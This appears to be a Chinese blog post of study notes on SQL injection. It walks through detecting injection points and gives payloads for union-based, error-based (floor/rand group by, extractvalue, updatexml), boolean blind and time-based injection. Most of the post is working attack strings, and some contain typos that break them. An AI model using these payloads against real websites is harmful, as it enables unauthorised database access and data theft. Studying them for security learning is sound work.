SQL注入

SQL注入

?id= 35 +1/-1
select * from tbName where id=$id
?id= 35’ 字符型 或者是数字型
select * from tbName where id=35’
报错信息有35就是字符型,没有35就是数字型

测试页面是否有布尔类型的状态
?id=35 and 1=1
?id=35 and 1=2

?id=35 and sleep(5) 是否延迟

联合查询 union select语句 两条select
select~~~~~~~ union select ~~~~~~
数据类型要相同 相同的列数

报错注入 在诸如点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中们就可进行报错注入
报错注入的原理,就是在显示西南西中进行SQL语句。

**公式:*group by报错:
?id = 33 and (select 1 from (select count(
),cancat((select version() from information_schema.tables limit 0,1),floor(rand()*2)x from information_schema.tables group by x)a) --+
要查询的东西放到concat后面第一个参数,即from前面

报错注入:select concat(left(rand(),3),’^’,(select version()),’^’) as x,count(*) from information_schema.tables group by x;

如果关键表被禁用:
select concat(’’,version(),’’,floor(rand()2))x,count() from (select 1 union select null union select !1)a group by x;

如果rand count被禁用 可以采取以下方式
select min(@a:=1) from information_schema.tables group by concat (’’,@@version,’’,@a:=(@a+1)%2);

不依赖额外的函数和具体的表
select min(@a:=1) from(select 1 union select null union select !1)a group by concat(’’,@@version,’’,@a:=(@a+1)%2);

XPATH报错:
@ extractalue()
?id=33 and extractvalue(1,concat(’^’,(select version()),’^’)) --+
@ updatexml()
?id=33 and updatexml(1,concat(’^’,(select database()),’^’),1) --+

布尔盲注:
?id=33 and length(database())=1 --+

延时注入:
sleep()语句
if(=,seleep(~),1)

口诀(前提sql漏洞存在)
是否有回显 联合查询
没有回回显看是否有报错 报错输入
是否有布尔类型状态 布尔盲注
都没有 延时注入

造成SQL注入漏洞原因:
1、拼接
2、过滤

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值